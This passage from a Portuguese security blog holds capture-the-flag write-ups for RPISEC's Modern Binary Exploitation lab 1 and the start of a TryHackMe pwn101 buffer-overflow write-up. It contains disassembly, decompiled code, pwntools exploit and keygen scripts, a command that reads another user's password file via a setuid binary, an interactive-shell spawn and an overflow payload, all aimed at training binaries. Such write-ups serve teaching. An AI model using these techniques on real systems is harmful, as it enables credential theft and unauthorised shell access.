\u0026lt;+97\u0026gt;:\txor eax,edx 0x08048a1a \u0026lt;+99\u0026gt;:\tlea ecx,[ebp-0x1d] 0x08048a1d \u0026lt;+102\u0026gt;:\tmov edx,DWORD PTR [ebp-0x28] 0x08048a20 \u0026lt;+105\u0026gt;:\tadd edx,ecx 0x08048a22 \u0026lt;+107\u0026gt;:\tmov BYTE PTR [edx],al 0x08048a24 \u0026lt;+109\u0026gt;:\tadd DWORD PTR [ebp-0x28],0x1 0x08048a28 \u0026lt;+113\u0026gt;:\tmov eax,DWORD PTR [ebp-0x28] 0x08048a2b \u0026lt;+116\u0026gt;:\tcmp eax,DWORD PTR [ebp-0x24] 0x08048a2e \u0026lt;+119\u0026gt;:\tjb 0x8048a08 \u0026lt;decrypt+81\u0026gt; 0x08048a30 \u0026lt;+121\u0026gt;:\tmov DWORD PTR [esp+0x4],0x8048d03 0x08048a38 \u0026lt;+129\u0026gt;:\tlea eax,[ebp-0x1d] 0x08048a3b \u0026lt;+132\u0026gt;:\tmov DWORD PTR [esp],eax 0x08048a3e \u0026lt;+135\u0026gt;:\tcall 0x8048770 \u0026lt;strcmp@plt\u0026gt; 0x08048a43 \u0026lt;+140\u0026gt;:\ttest eax,eax 0x08048a45 \u0026lt;+142\u0026gt;:\tjne 0x8048a55 \u0026lt;decrypt+158\u0026gt; 0x08048a47 \u0026lt;+144\u0026gt;:\tmov DWORD PTR [esp],0x8048d14 0x08048a4e \u0026lt;+151\u0026gt;:\tcall 0x80487e0 \u0026lt;system@plt\u0026gt; 0x08048a53 \u0026lt;+156\u0026gt;:\tjmp 0x8048a61 \u0026lt;decrypt+170\u0026gt; 0x08048a55 \u0026lt;+158\u0026gt;:\tmov DWORD PTR [esp],0x8048d1c 0x08048a5c \u0026lt;+165\u0026gt;:\tcall 0x80487d0 \u0026lt;puts@plt\u0026gt; 0x08048a61 \u0026lt;+170\u0026gt;:\tmov eax,DWORD PTR [ebp-0xc] 0x08048a64 \u0026lt;+173\u0026gt;:\txor eax,DWORD PTR gs:0x14 0x08048a6b \u0026lt;+180\u0026gt;:\tje 0x8048a72 \u0026lt;decrypt+187\u0026gt; 0x08048a6d \u0026lt;+182\u0026gt;:\tcall 0x80487c0 \u0026lt;__stack_chk_fail@plt\u0026gt; 0x08048a72 \u0026lt;+187\u0026gt;:\tleave 0x08048a73 \u0026lt;+188\u0026gt;:\tret End of assembler dump. Em decrypt(), vemos a existência de uma string hardcoded:\n1 2 3 4 0x080489c8 \u0026lt;+17\u0026gt;: mov DWORD PTR [ebp-0x1d],0x757c7d51 0x080489cf \u0026lt;+24\u0026gt;: mov DWORD PTR [ebp-0x19],0x67667360 0x080489d6 \u0026lt;+31\u0026gt;: mov DWORD PTR [ebp-0x15],0x7b66737e 0x080489dd \u0026lt;+38\u0026gt;: mov DWORD PTR [ebp-0x11],0x33617c7d Transformando em caracteres, resulta em Q}|u\\`sfg~sf{}|a3 (tenha em mente que estamos tratando de Little Endian!).\nAlém disso, existe um loop onde todos os caracteres dessa string estranha são decodificados (usando XOR) baseados no valor da diferença calculado em test():\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 0x08048a08 \u0026lt;+81\u0026gt;: lea edx,[ebp-0x1d] 0x08048a0b \u0026lt;+84\u0026gt;: mov eax,DWORD PTR [ebp-0x28] 0x08048a0e \u0026lt;+87\u0026gt;: add eax,edx 0x08048a10 \u0026lt;+89\u0026gt;: movzx eax,BYTE PTR [eax] 0x08048a13 \u0026lt;+92\u0026gt;: mov edx,eax 0x08048a15 \u0026lt;+94\u0026gt;: mov eax,DWORD PTR [ebp+0x8] 0x08048a18 \u0026lt;+97\u0026gt;: xor eax,edx 0x08048a1a \u0026lt;+99\u0026gt;: lea ecx,[ebp-0x1d] 0x08048a1d \u0026lt;+102\u0026gt;: mov edx,DWORD PTR [ebp-0x28] 0x08048a20 \u0026lt;+105\u0026gt;: add edx,ecx 0x08048a22 \u0026lt;+107\u0026gt;: mov BYTE PTR [edx],al 0x08048a24 \u0026lt;+109\u0026gt;: add DWORD PTR [ebp-0x28],0x1 0x08048a28 \u0026lt;+113\u0026gt;: mov eax,DWORD PTR [ebp-0x28] 0x08048a2b \u0026lt;+116\u0026gt;: cmp eax,DWORD PTR [ebp-0x24] 0x08048a2e \u0026lt;+119\u0026gt;: jb 0x8048a08 \u0026lt;decrypt+81\u0026gt; Após a decriptação, a string final é vista novamente em main\u0026lt;+132\u0026gt;:\n1 2 3 4 0x08048a30 \u0026lt;+121\u0026gt;: mov DWORD PTR [esp+0x4],0x8048d03 # string nova? 0x08048a38 \u0026lt;+129\u0026gt;: lea eax,[ebp-0x1d] 0x08048a3b \u0026lt;+132\u0026gt;: mov DWORD PTR [esp],eax # string final 0x08048a3e \u0026lt;+135\u0026gt;: call 0x8048770 \u0026lt;strcmp@plt\u0026gt; Ela é enviada com uma outra string (do endereço 0x8048d03) para ser comparada. Afinal, que string é essa?\n1 2 gdb-peda$ x/s 0x8048d03 0x8048d03:\t\u0026#34;Congratulations!\u0026#34; Ok! Temos, então, a string Congratulations! como alvo!\nObjetivo Como controlamos apenas o input, devemos inputar um número que, ao subtrair 0x1337d00d, resulte em uma chave válida para a decriptação de Q}|u\\`sfg~sf{}|a3 em Congratulations!. Nosso objetivo é descobrir essa chave e saber o payload válido.\nResolvendo Dado o funcionamento do XOR, podemos realizar XOR entre a string original e a encriptada e, assim, sabemos a chave simétrica. Usando Python:\n1 2 \u0026gt;\u0026gt;\u0026gt; ord(\u0026#34;Q\u0026#34;) ^ ord(\u0026#34;C\u0026#34;) 18 Precisamos, então, de uma diferença de 18! Como fazemos 0x1337D00D - input, sabemos que 0x1337D00D + 0x12 é o input desejado. Assim, chegamos a 322424827 e voilà! Temos a senha 1337_3nCRyptI0n_br0.\nExploit 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 #!/usr/bin/python import pwn # XOR allow us to do that :P key = 0x1337d00d - (ord(\u0026#34;Q\u0026#34;) ^ ord(\u0026#34;C\u0026#34;)) # Path to the save file save_file = \u0026#34;/tmp/lab1A_pass.txt\u0026#34; # Initiating process p = pwn.process(\u0026#39;/levels/lab01/lab1B\u0026#39;) # Sending the payloads p.sendline(str(key)) p.sendline(\u0026#34;cat /home/lab1A/.pass \u0026gt; \u0026#34;+ save_file) print(\u0026#34;[!] Password saved on \u0026#34; + save_file) p.close() Lab1A Conferindo as informações do arquivo:\n1 2 lab1A@warzone:/levels/lab01$ file lab1A lab1A: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=8207a5ad5821e47f25412161c60dc24fd2f3386e, stripped 1 2 3 4 5 6 gdb-peda$ checksec CANARY : ENABLED FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : Partial Repare que todos os programas estão em 32 bits. Fiz todas essas verificações por prática, mas todos os programas desse curso são em 32 bits.\nAnálise das funções Realizando o disassembly da main(), verificamos que há 2 inputs pertinentes: um usuário e um serial.\n1 2 3 4 5 6 7 8 9 10 11 12 13 .---------------------------. |--------- RPISEC --------| |+ SECURE LOGIN SYS v. 3.0 +| |---------------------------| |~- Enter your Username: ~-| \u0026#39;---------------------------\u0026#39; UsernameTeste .---------------------------. | !! NEW ACCOUNT DETECTED !!| |---------------------------| |~- Input your serial: ~-| \u0026#39;---------------------------\u0026#39; 123456 Realizando o disassembly da função main(), temos:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 Dump of assembler code for function main: 0x08048b44 \u0026lt;+0\u0026gt;:\tpush ebp 0x08048b45 \u0026lt;+1\u0026gt;:\tmov ebp,esp 0x08048b47 \u0026lt;+3\u0026gt;:\tand esp,0xfffffff0 0x08048b4a \u0026lt;+6\u0026gt;:\tsub esp,0x40 0x08048b4d \u0026lt;+9\u0026gt;:\tmov eax,DWORD PTR [ebp+0xc] 0x08048b50 \u0026lt;+12\u0026gt;:\tmov DWORD PTR [esp+0xc],eax 0x08048b54 \u0026lt;+16\u0026gt;:\tmov eax,gs:0x14 0x08048b5a \u0026lt;+22\u0026gt;:\tmov DWORD PTR [esp+0x3c],eax 0x08048b5e \u0026lt;+26\u0026gt;:\txor eax,eax 0x08048b60 \u0026lt;+28\u0026gt;:\tpush eax 0x08048b61 \u0026lt;+29\u0026gt;:\txor eax,eax 0x08048b63 \u0026lt;+31\u0026gt;:\tje 0x8048b68 \u0026lt;main+36\u0026gt; 0x08048b65 \u0026lt;+33\u0026gt;:\tadd esp,0x4 0x08048b68 \u0026lt;+36\u0026gt;:\tpop eax 0x08048b69 \u0026lt;+37\u0026gt;:\tmov DWORD PTR [esp],0x8048d73 0x08048b70 \u0026lt;+44\u0026gt;:\tcall 0x8048810 \u0026lt;puts@plt\u0026gt; 0x08048b75 \u0026lt;+49\u0026gt;:\tmov DWORD PTR [esp],0x8048d91 0x08048b7c \u0026lt;+56\u0026gt;:\tcall 0x8048810 \u0026lt;puts@plt\u0026gt; 0x08048b81 \u0026lt;+61\u0026gt;:\tmov DWORD PTR [esp],0x8048daf 0x08048b88 \u0026lt;+68\u0026gt;:\tcall 0x8048810 \u0026lt;puts@plt\u0026gt; 0x08048b8d \u0026lt;+73\u0026gt;:\tmov DWORD PTR [esp],0x8048dcd 0x08048b94 \u0026lt;+80\u0026gt;:\tcall 0x8048810 \u0026lt;puts@plt\u0026gt; 0x08048b99 \u0026lt;+85\u0026gt;:\tmov DWORD PTR [esp],0x8048deb 0x08048ba0 \u0026lt;+92\u0026gt;:\tcall 0x8048810 \u0026lt;puts@plt\u0026gt; 0x08048ba5 \u0026lt;+97\u0026gt;:\tmov DWORD PTR [esp],0x8048e09 0x08048bac \u0026lt;+104\u0026gt;:\tcall 0x8048810 \u0026lt;puts@plt\u0026gt; 0x08048bb1 \u0026lt;+109\u0026gt;:\tmov eax,ds:0x804b060 0x08048bb6 \u0026lt;+114\u0026gt;:\tmov DWORD PTR [esp+0x8],eax 0x08048bba \u0026lt;+118\u0026gt;:\tmov DWORD PTR [esp+0x4],0x20 0x08048bc2 \u0026lt;+126\u0026gt;:\tlea eax,[esp+0x1c] 0x08048bc6 \u0026lt;+130\u0026gt;:\tmov DWORD PTR [esp],eax 0x08048bc9 \u0026lt;+133\u0026gt;:\tcall 0x80487d0 \u0026lt;fgets@plt\u0026gt; # Coleta o username como string 0x08048bce \u0026lt;+138\u0026gt;:\tmov DWORD PTR [esp],0x8048d73 0x08048bd5 \u0026lt;+145\u0026gt;:\tcall 0x8048810 \u0026lt;puts@plt\u0026gt; 0x08048bda \u0026lt;+150\u0026gt;:\tmov DWORD PTR [esp],0x8048e27 0x08048be1 \u0026lt;+157\u0026gt;:\tcall 0x8048810 \u0026lt;puts@plt\u0026gt; 0x08048be6 \u0026lt;+162\u0026gt;:\tmov DWORD PTR [esp],0x8048dcd 0x08048bed \u0026lt;+169\u0026gt;:\tcall 0x8048810 \u0026lt;puts@plt\u0026gt; 0x08048bf2 \u0026lt;+174\u0026gt;:\tmov DWORD PTR [esp],0x8048e45 0x08048bf9 \u0026lt;+181\u0026gt;:\tcall 0x8048810 \u0026lt;puts@plt\u0026gt; 0x08048bfe \u0026lt;+186\u0026gt;:\tmov DWORD PTR [esp],0x8048e09 0x08048c05 \u0026lt;+193\u0026gt;:\tcall 0x8048810 \u0026lt;puts@plt\u0026gt; 0x08048c0a \u0026lt;+198\u0026gt;:\tlea eax,[esp+0x18] 0x08048c0e \u0026lt;+202\u0026gt;:\tmov DWORD PTR [esp+0x4],eax 0x08048c12 \u0026lt;+206\u0026gt;:\tmov DWORD PTR [esp],0x8048d00 0x08048c19 \u0026lt;+213\u0026gt;:\tcall 0x8048860 \u0026lt;__isoc99_scanf@plt\u0026gt; # Coleta o serial como int 0x08048c1e \u0026lt;+218\u0026gt;:\tmov eax,DWORD PTR [esp+0x18] 0x08048c22 \u0026lt;+222\u0026gt;:\tmov DWORD PTR [esp+0x4],eax 0x08048c26 \u0026lt;+226\u0026gt;:\tlea eax,[esp+0x1c] 0x08048c2a \u0026lt;+230\u0026gt;:\tmov DWORD PTR [esp],eax 0x08048c2d \u0026lt;+233\u0026gt;:\tcall 0x8048a0f \u0026lt;auth\u0026gt; 0x08048c32 \u0026lt;+238\u0026gt;:\ttest eax,eax 0x08048c34 \u0026lt;+240\u0026gt;:\tjne 0x8048c55 \u0026lt;main+273\u0026gt; 0x08048c36 \u0026lt;+242\u0026gt;:\tmov DWORD PTR [esp],0x8048e63 0x08048c3d \u0026lt;+249\u0026gt;:\tcall 0x8048810 \u0026lt;puts@plt\u0026gt; 0x08048c42 \u0026lt;+254\u0026gt;:\tmov DWORD PTR [esp],0x8048e72 0x08048c49 \u0026lt;+261\u0026gt;:\tcall 0x8048820 \u0026lt;system@plt\u0026gt; 0x08048c4e \u0026lt;+266\u0026gt;:\tmov eax,0x0 0x08048c53 \u0026lt;+271\u0026gt;:\tjmp 0x8048c5a \u0026lt;main+278\u0026gt; 0x08048c55 \u0026lt;+273\u0026gt;:\tmov eax,0x1 0x08048c5a \u0026lt;+278\u0026gt;:\tmov edx,DWORD PTR [esp+0x3c] 0x08048c5e \u0026lt;+282\u0026gt;:\txor edx,DWORD PTR gs:0x14 0x08048c65 \u0026lt;+289\u0026gt;:\tje 0x8048c6c \u0026lt;main+296\u0026gt; 0x08048c67 \u0026lt;+291\u0026gt;:\tcall 0x8048800 \u0026lt;__stack_chk_fail@plt\u0026gt; 0x08048c6c \u0026lt;+296\u0026gt;:\tleave 0x08048c6d \u0026lt;+297\u0026gt;:\tret End of assembler dump. Sendo um pouco mais breve, os inputs são armazenados na stack e enviados para auth(), em \u0026lt;main+233\u0026gt;. Realizando o disassembly de auth():\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 Dump of assembler code for function auth: 0x08048a0f \u0026lt;+0\u0026gt;:\tpush ebp 0x08048a10 \u0026lt;+1\u0026gt;:\tmov ebp,esp 0x08048a12 \u0026lt;+3\u0026gt;:\tsub esp,0x28 0x08048a15 \u0026lt;+6\u0026gt;:\tmov DWORD PTR [esp+0x4],0x8048d03 0x08048a1d \u0026lt;+14\u0026gt;:\tmov eax,DWORD PTR [ebp+0x8] 0x08048a20 \u0026lt;+17\u0026gt;:\tmov DWORD PTR [esp],eax 0x08048a23 \u0026lt;+20\u0026gt;:\tcall 0x80487a0 \u0026lt;strcspn@plt\u0026gt; 0x08048a28 \u0026lt;+25\u0026gt;:\tmov edx,DWORD PTR [ebp+0x8] 0x08048a2b \u0026lt;+28\u0026gt;:\tadd eax,edx 0x08048a2d \u0026lt;+30\u0026gt;:\tmov BYTE PTR [eax],0x0 0x08048a30 \u0026lt;+33\u0026gt;:\tmov DWORD PTR [esp+0x4],0x20 0x08048a38 \u0026lt;+41\u0026gt;:\tmov eax,DWORD PTR [ebp+0x8] 0x08048a3b \u0026lt;+44\u0026gt;:\tmov DWORD PTR [esp],eax 0x08048a3e \u0026lt;+47\u0026gt;:\tcall 0x8048850 \u0026lt;strnlen@plt\u0026gt; 0x08048a43 \u0026lt;+52\u0026gt;:\tmov DWORD PTR [ebp-0xc],eax 0x08048a46 \u0026lt;+55\u0026gt;:\tpush eax 0x08048a47 \u0026lt;+56\u0026gt;:\txor eax,eax 0x08048a49 \u0026lt;+58\u0026gt;:\tje 0x8048a4e \u0026lt;auth+63\u0026gt; 0x08048a4b \u0026lt;+60\u0026gt;:\tadd esp,0x4 0x08048a4e \u0026lt;+63\u0026gt;:\tpop eax 0x08048a4f \u0026lt;+64\u0026gt;:\tcmp DWORD PTR [ebp-0xc],0x5 0x08048a53 \u0026lt;+68\u0026gt;:\tjg 0x8048a5f \u0026lt;auth+80\u0026gt; 0x08048a55 \u0026lt;+70\u0026gt;:\tmov eax,0x1 0x08048a5a \u0026lt;+75\u0026gt;:\tjmp 0x8048b42 \u0026lt;auth+307\u0026gt; 0x08048a5f \u0026lt;+80\u0026gt;:\tmov DWORD PTR [esp+0xc],0x0 0x08048a67 \u0026lt;+88\u0026gt;:\tmov DWORD PTR [esp+0x8],0x1 0x08048a6f \u0026lt;+96\u0026gt;:\tmov DWORD PTR [esp+0x4],0x0 0x08048a77 \u0026lt;+104\u0026gt;:\tmov DWORD PTR [esp],0x0 0x08048a7e \u0026lt;+111\u0026gt;:\tcall 0x8048870 \u0026lt;ptrace@plt\u0026gt; 0x08048a83 \u0026lt;+116\u0026gt;:\tcmp eax,0xffffffff 0x08048a86 \u0026lt;+119\u0026gt;:\tjne 0x8048ab6 \u0026lt;auth+167\u0026gt; 0x08048a88 \u0026lt;+121\u0026gt;:\tmov DWORD PTR [esp],0x8048d08 0x08048a8f \u0026lt;+128\u0026gt;:\tcall 0x8048810 \u0026lt;puts@plt\u0026gt; 0x08048a94 \u0026lt;+133\u0026gt;:\tmov DWORD PTR [esp],0x8048d2c 0x08048a9b \u0026lt;+140\u0026gt;:\tcall 0x8048810 \u0026lt;puts@plt\u0026gt; 0x08048aa0 \u0026lt;+145\u0026gt;:\tmov DWORD PTR [esp],0x8048d50 0x08048aa7 \u0026lt;+152\u0026gt;:\tcall 0x8048810 \u0026lt;puts@plt\u0026gt; 0x08048aac \u0026lt;+157\u0026gt;:\tmov eax,0x1 0x08048ab1 \u0026lt;+162\u0026gt;:\tjmp 0x8048b42 \u0026lt;auth+307\u0026gt; 0x08048ab6 \u0026lt;+167\u0026gt;:\tmov eax,DWORD PTR [ebp+0x8] 0x08048ab9 \u0026lt;+170\u0026gt;:\tadd eax,0x3 0x08048abc \u0026lt;+173\u0026gt;:\tmovzx eax,BYTE PTR [eax] 0x08048abf \u0026lt;+176\u0026gt;:\tmovsx eax,al 0x08048ac2 \u0026lt;+179\u0026gt;:\txor eax,0x1337 0x08048ac7 \u0026lt;+184\u0026gt;:\tadd eax,0x5eeded 0x08048acc \u0026lt;+189\u0026gt;:\tmov DWORD PTR [ebp-0x10],eax 0x08048acf \u0026lt;+192\u0026gt;:\tmov DWORD PTR [ebp-0x14],0x0 0x08048ad6 \u0026lt;+199\u0026gt;:\tjmp 0x8048b26 \u0026lt;auth+279\u0026gt; 0x08048ad8 \u0026lt;+201\u0026gt;:\tmov edx,DWORD PTR [ebp-0x14] 0x08048adb \u0026lt;+204\u0026gt;:\tmov eax,DWORD PTR [ebp+0x8] 0x08048ade \u0026lt;+207\u0026gt;:\tadd eax,edx 0x08048ae0 \u0026lt;+209\u0026gt;:\tmovzx eax,BYTE PTR [eax] 0x08048ae3 \u0026lt;+212\u0026gt;:\tcmp al,0x1f 0x08048ae5 \u0026lt;+214\u0026gt;:\tjg 0x8048aee \u0026lt;auth+223\u0026gt; 0x08048ae7 \u0026lt;+216\u0026gt;:\tmov eax,0x1 0x08048aec \u0026lt;+221\u0026gt;:\tjmp 0x8048b42 \u0026lt;auth+307\u0026gt; 0x08048aee \u0026lt;+223\u0026gt;:\tmov edx,DWORD PTR [ebp-0x14] 0x08048af1 \u0026lt;+226\u0026gt;:\tmov eax,DWORD PTR [ebp+0x8] 0x08048af4 \u0026lt;+229\u0026gt;:\tadd eax,edx 0x08048af6 \u0026lt;+231\u0026gt;:\tmovzx eax,BYTE PTR [eax] 0x08048af9 \u0026lt;+234\u0026gt;:\tmovsx eax,al 0x08048afc \u0026lt;+237\u0026gt;:\txor eax,DWORD PTR [ebp-0x10] 0x08048aff \u0026lt;+240\u0026gt;:\tmov ecx,eax 0x08048b01 \u0026lt;+242\u0026gt;:\tmov edx,0x88233b2b 0x08048b06 \u0026lt;+247\u0026gt;:\tmov eax,ecx 0x08048b08 \u0026lt;+249\u0026gt;:\tmul edx 0x08048b0a \u0026lt;+251\u0026gt;:\tmov eax,ecx 0x08048b0c \u0026lt;+253\u0026gt;:\tsub eax,edx 0x08048b0e \u0026lt;+255\u0026gt;:\tshr eax,1 0x08048b10 \u0026lt;+257\u0026gt;:\tadd eax,edx 0x08048b12 \u0026lt;+259\u0026gt;:\tshr eax,0xa 0x08048b15 \u0026lt;+262\u0026gt;:\timul eax,eax,0x539 0x08048b1b \u0026lt;+268\u0026gt;:\tsub ecx,eax 0x08048b1d \u0026lt;+270\u0026gt;:\tmov eax,ecx 0x08048b1f \u0026lt;+272\u0026gt;:\tadd DWORD PTR [ebp-0x10],eax 0x08048b22 \u0026lt;+275\u0026gt;:\tadd DWORD PTR [ebp-0x14],0x1 0x08048b26 \u0026lt;+279\u0026gt;:\tmov eax,DWORD PTR [ebp-0x14] 0x08048b29 \u0026lt;+282\u0026gt;:\tcmp eax,DWORD PTR [ebp-0xc] 0x08048b2c \u0026lt;+285\u0026gt;:\tjl 0x8048ad8 \u0026lt;auth+201\u0026gt; 0x08048b2e \u0026lt;+287\u0026gt;:\tmov eax,DWORD PTR [ebp+0xc] 0x08048b31 \u0026lt;+290\u0026gt;:\tcmp eax,DWORD PTR [ebp-0x10] 0x08048b34 \u0026lt;+293\u0026gt;:\tje 0x8048b3d \u0026lt;auth+302\u0026gt; 0x08048b36 \u0026lt;+295\u0026gt;:\tmov eax,0x1 0x08048b3b \u0026lt;+300\u0026gt;:\tjmp 0x8048b42 \u0026lt;auth+307\u0026gt; 0x08048b3d \u0026lt;+302\u0026gt;:\tmov eax,0x0 0x08048b42 \u0026lt;+307\u0026gt;:\tleave 0x08048b43 \u0026lt;+308\u0026gt;:\tret End of assembler dump. O assembly dessa função está muito extenso. Portanto, para facilitar, utilizei o decompilador do Ghidra para entender melhor o que estava ocorrendo:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 /* WARNING: Removing unreachable block (ram,0x08048a4b) */ /* WARNING: Restarted to delay deadcode elimination for space: stack */ undefined4 auth(char *param_1,uint param_2) { size_t sVar1; undefined4 uVar2; long lVar3; int local_18; uint local_14; sVar1 = strcspn(param_1,\u0026#34;\\n\u0026#34;); param_1[sVar1] = \u0026#39;\\0\u0026#39;; sVar1 = strnlen(param_1,0x20); if ((int)sVar1 \u0026lt; 6) { uVar2 = 1; } else { lVar3 = ptrace(PTRACE_TRACEME); if (lVar3 == -1) { puts(\u0026#34;\\x1b[32m.---------------------------.\u0026#34;); puts(\u0026#34;\\x1b[31m| !! TAMPERING DETECTED !! |\u0026#34;); puts(\u0026#34;\\x1b[32m\\\u0026#39;---------------------------\\\u0026#39;\u0026#34;); uVar2 = 1; } else { local_14 = ((int)param_1[3] ^ 0x1337U) + 0x5eeded; for (local_18 = 0; local_18 \u0026lt; (int)sVar1; local_18 = local_18 + 1) { if (param_1[local_18] \u0026lt; \u0026#39; \u0026#39;) { return 1; } local_14 = local_14 + ((int)param_1[local_18] ^ local_14) % 0x539; } if (param_2 == local_14) { uVar2 = 0; } else { uVar2 = 1; } } } return uVar2; } Adaptando os nomes de algumas variáveis para facilitar a leitura, resultamos em:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 int auth(char *username,uint serial) { size_t inputLength; undefined4 flag; long ptrace?; int i; uint temp; inputLength = strcspn(username,\u0026#34;\\n\u0026#34;); username[inputLength] = \u0026#39;\\0\u0026#39;; inputLength = strnlen(username,0x20); if ((int)inputLength \u0026lt; 6) { flag = 1; } else { ptrace? = ptrace(PTRACE_TRACEME); if (ptrace? == -1) { puts(\u0026#34;\\x1b[32m.---------------------------.\u0026#34;); puts(\u0026#34;\\x1b[31m| !! TAMPERING DETECTED !! |\u0026#34;); puts(\u0026#34;\\x1b[32m\\\u0026#39;---------------------------\\\u0026#39;\u0026#34;); flag = 1; } else { temp = ((int)username[3] ^ 0x1337U) + 0x5eeded; for (i = 0; i \u0026lt; (int)inputLength; i = i + 1) { if (username[i] \u0026lt; \u0026#39; \u0026#39;) { return 1; } temp = temp + ((int)username[i] ^ temp) % 0x539; } if (serial == temp) { flag = 0; } else { flag = 1; } } } return flag; } Em auth(), podemos verificar que o programa retira, do nome do usuário, o caracter \\n e substitui por \\0, além de calcular e armazenar o comprimento da string. Cabe salientar que usernames com menos de 6 caracteres não são aceitos pelo programa e resultam em retorno imediato com valor 1 (que invalida a sessão). Após isso, ele faz algo em uma lógica fixa com o username e compara com o serial inputado para validar.\nResolução Para resolver o problema, criei um pequeno keygen a partir da lógica exibida pelo decompilador.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 #!/usr/bin/python import pwn #input username = str(raw_input(\u0026#34;[!] Insert the username that you want to use: \u0026#34;)) # Serial logic num = (ord(username[3]) ^ 0x1337) + 6221293 for char in username: if char == \u0026#39; \u0026#39;: print(\u0026#34;lol\u0026#34;) exit(3) if char == \u0026#39;\\n\u0026#39;: continue num = num + (ord(char) ^ num) % 1337 # Printing out the serial generated for the inputed username print(\u0026#34;[!] Serial: \u0026#34; + str(num)) # Starting process p = pwn.process(\u0026#34;/levels/lab01/lab1A\u0026#34;) # Sending payload p.sendline(username) p.sendline(str(num)) # Give the user the shell p.interactive() # Close the program p.close() A partir de um username inputado, ele cria um serial válido e executa o programa. Basta utilizá-lo e voilà! Fim de laboratório!\nFerramentas utilizadas: GEF, uma extensão para o GDB GHIDRA, uma ferramenta de análise de binários. pwntools, uma biblioteca de Python para fabricação de exploits. ","permalink":"http://grisufrj.github.io/blog/2024-08-11-writeup-lab01-rev-mbe/","summary":"Olá! Nesse post, resolveremos o primeiro laboratório do Modern Binary Exploitation da RPISEC que aborda a Engenharia Reversa. Caso tenha interesse no assunto, temos diversos posts no blog que abordam o tema, basta acessar a tag!\nSobre os laboratórios do MBE Todos os laboratórios do curso residem dentro de uma máquina virtual disponibilizada no material através de uma imagem de disco para Ubuntu 14.04, que possui toda a configuração necessária para o Wargame.","title":"Modern Binary Exploitation: Laboratório de Engenharia Reversa"},{"content":"[pwn101 5/10] writeUp [pwn101 - Challenge 1] A sala nos diz que a aplicação está rodando no endereço \u0026lsquo;10.10.151.216:9001\u0026rsquo;. Com o utilitário nc podemos escrever e ler em conexões TCP e UDP. Assim, podemos nos conectar com a aplicação usando o comando:\nnc 10.10.151.216 9001\nAo conectarmos com a aplicação recebemos um texto com um pedido de ajuda para fornecer os ingredientes para o programa como input. A sala fornece uma dica de inicio \u0026lsquo;AAAAAAAAAAA\u0026rsquo;. É de se imaginar que o programa possua algum tipo de buffer overflow. É fácil de receber um shell quando tentamos quebrar a aplicação fornecendo uma string com um tamanho grande.\nPorém, vamos tentar entender direito o que está acontecendo. Talvez não tenhamos tanta sorte da próxima vez.\nNo início da função principal temos uma instrução que move o valor 0x539 para o endereço var_4. Mais embaixo, temos a chamada para a função _gets sem nenhuma restrição de tamanho de input. Esse input é armazenado em var_40. Com isso, é possível sobrescrever a variável var_4. No fim, existe uma comparação entre o valor de inicio em var_4 com o valor atual e um salto associado à condição not zero é realizada na instrução abaixo. Ou seja, o salto é realizado se o resultado da comparação anterior não for igual. Portanto, basta modificar o valor da variável na pilha que obtemos o shell. Para isso, foi necessário abusar da função _gets e explorar o stack overflow para garantir que a instrução jnz nos coloque no procedimento que nos dá o shell.\n[pwn102 - Challenge 2] No segundo desafio, nos deparamos com um programa que printa na tela I need badf00d to fee1dead Am I right? e que pede input ao usuário. De cara, tentamos quebrar o programa. Porém, nada de muito interessante acontece.\nPartimos, então, para engenharia reversa do binário. Na imagem abaixo, podemos ver as variáveis locais e as instruções que são do nosso interesse. A função possui três variáveis locais. As variáveis 4 e 8 estão localizadas em rbp - 4 e -8, respectivamente. Outra variável é declarada. Essa está localizada na posição rbp - 0x70. Existe uma chamada para a scanf que carrega o input do usuário na variável 70. Logo depois, é possível ver na imagem que os valores 0C0FF33h e 0C0D3h são comparados aos valores nas variaveis 4 e 8. Ou seja, o programa checka se os valores nessas variaveis são esses. A cada instrução de comparação, existe uma instrução de salto condicional que pula para um procedimento de saída se não for igual a zero. A seguir, temos uma chamada de sistema com um comando de shell a ser executado. Nosso objetivo então é chegar nessa chamada de sistema. Porém, só conseguiremos se os valores de var4 e var8 forem 0C0FF33h e 0C0D3h, respectivamente. Como não existe nenhuma restrição de tamanho na chamada da scanf, podemos usar essa entrada de dados para sobrescrever var4 e var8. Sabemos a posição de cada uma relativa ao endereço de var70. A variável 8 está à (0x70 - 0x8) de distância da variável 70. E a variável 4 está logo abaixo da 8. Portanto, devemos ter:\nPreenchimento completo da variável 70 na pilha: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\nA * (0x70 - 0x8)\nPreenchimento das variáveis 8 e 4 na pilha com os valores desejados: \\xd3\\xc0\\x00\\x00\\x33\\xff\\xc0\\x00 (Little Endian)\nAqui precisamos começar a utilizar uma ferramenta chamada pwntools - depois de tentar redirecionar a saída do echo e falhar repetidas vezes. Trata-se de uma ferreamenta que nos fornece uma interface para interagir de forma fácil tanto com processos do seu host quanto aplicações em servidores na internet. A partir do script abaixo, é possível ver algumas das funcionalidades que começaremos a usar. As linhas do código possuem comentários para esclarecer seu papel.\n1 2 3 4 5 6 7 8 9 10 11 12 13 